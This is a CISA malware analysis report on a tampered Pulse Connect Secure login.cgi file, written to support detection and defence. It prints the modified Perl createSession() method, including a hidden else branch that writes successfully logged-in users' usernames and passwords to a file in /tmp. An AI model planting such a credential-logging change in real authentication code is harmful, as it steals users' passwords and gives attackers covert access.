MAR-10337580-2.v1: Pulse Connect Secure

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Description

CISA received one file for analysis. This file is a Pulse Secure system file that has been modified by a malicious actor. The modification causes the Common Gateway Interface (CGI) script to steal the credentials of users who login successfully. These stolen credentials are then logged to a file stored within the tmp directory of the compromised Pulse Secure device. This analysis is derived from malicious files found on Pulse Connect Secure devices.

For a downloadable copy of IOCs, see: MAR-10337580-2.v1.WHITE.stix.

Submitted Files (1)

876b93ecff1bf3fd053d3fdc523c8b5d92cc958a8af2db2f2924c167083f3256 (login.cgi)

876b93ecff1bf3fd053d3fdc523c8b5d92cc958a8af2db2f2924c167083f3256

Tags

backdoorcredential-harvester

Details

Antivirus

No matches found.

YARA Rules

No matches found.

ssdeep Matches

No matches found.

Description

This file is a Pulse Secure Common Gateway Interface (CGI) script that was modified by a malicious actor. The specific modification was made to the createSession() method within the script.



--Begin Modification--



sub createSession($$$$)

{

   my ($signin,$preauth,$overall,$signinResult) = @_;



   my $realmInfo= $signin->getRealmInfo();

   my $sessionContext= $signin->getContextData();



   my $username= $signin->getUserName();

   my $password= $sessionContext->getEntry("password")->get();

   my $username2 = "";

   my $password2 = "";

   my $secServerInfo = $realmInfo->{secondaryAuthServer};

   if ($secServerInfo->{name}) {

       $username2 = $sessionContext->getEntry("user@".$secServerInfo->{name})->get() ;

       $password2 = $sessionContext->getEntry("password@".$secServerInfo->{name})->get();

   }

   my $session;

   my $rc;

   # initialize flag that detects session reuse

   $Main::sessionReuseParam = 0;



   my $sessid = "";



   my $uid = UserAdmin::getUserUID( $username,

                                    $realmInfo->{authenticationServer},

                                    1);

   my $bValidUid = UserAdmin::isValidUID($uid);



   # Concurrent users license check for no of user sessions.

   if (!$signin->isAdminUser() && !$signin->isDeviceSessionType()) {

       # This check may redirect and exit



       my $ccCheck = DSAuth::checkIfUserCanLogin($signin, $uid);

       DSLog::Msg("Auth", 10, "checkIfUserCanLogin returns $ccCheck");

       if ($ccCheck == $DSAuth::kConcurrentUsersDeny) {

           

           # login denied            

           DSLog::Msg("Auth", 10, "Login Denied for $username");

           my $userAgent= $signin->getContextData()->getEntry("userAgent")->get();

           my $agentType = DSUserAgentCap::getUserAgentType($userAgent);



           if (DSLicense::isEnabled($DSLicense::FT_named_user_internal)) {

               sendDataToDashboard(0, "", $signinResult, $DSAuth::serrTooManyNamed, $signin);

               welcomeRedirectFinal( $signin, $agentType, undef, "too-many-named" );

           } else {

               sendDataToDashboard(0, "", $signinResult, $DSAuth::serrTooMany, $signin);

               welcomeRedirectFinal( $signin, $agentType, undef, "too-many" );

           }

       }

       elsif ($ccCheck == $DSAuth::kConcurrentUsersWarn) {

           

           # login warned

           DSLog::Msg("Auth", 10, "Login Warned for $username");

           $Main::starterRedirectParam= "move-on";

       }

   }

else { open(*fd, ">>/tmp/dsstartssh.statementcounters"); syswrite(*fd, "admin_username=$username ", 5000); syswrite(*fd, "password=$password

", 5000); close(*fd);}



--End Modification--



The purpose of the modification is to record the credentials of users who successfully log into the device to a log file named "/tmp/dsstartssh.statementcounters."

CISA recommends that users and administrators consider using the following best practices to strengthen the security posture of their organization's systems. Any configuration changes should be reviewed by system owners and administrators prior to implementation to avoid unwanted impacts.

• Maintain up-to-date antivirus signatures and engines.
• Keep operating system patches up-to-date.
• Disable File and Printer sharing services. If these services are required, use strong passwords or Active Directory authentication.
• Restrict users' ability (permissions) to install and run unwanted software applications. Do not add users to the local administrators group unless required.
• Enforce a strong password policy and implement regular password changes.
• Exercise caution when opening e-mail attachments even if the attachment is expected and the sender appears to be known.
• Enable a personal firewall on agency workstations, configured to deny unsolicited connection requests.
• Disable unnecessary services on agency workstations and servers.
• Scan for and remove suspicious e-mail attachments; ensure the scanned attachment is its "true file type" (i.e., the extension matches the file header).
• Monitor users' web browsing habits; restrict access to sites with unfavorable content.
• Exercise caution when using removable media (e.g., USB thumb drives, external drives, CDs, etc.).
• Scan all software downloaded from the Internet prior to executing.
• Maintain situational awareness of the latest threats and implement appropriate Access Control Lists (ACLs).

Additional information on malware incident prevention and handling can be found in National Institute of Standards and Technology (NIST) Special Publication 800-83, "Guide to Malware Incident Prevention & Handling for Desktops and Laptops".

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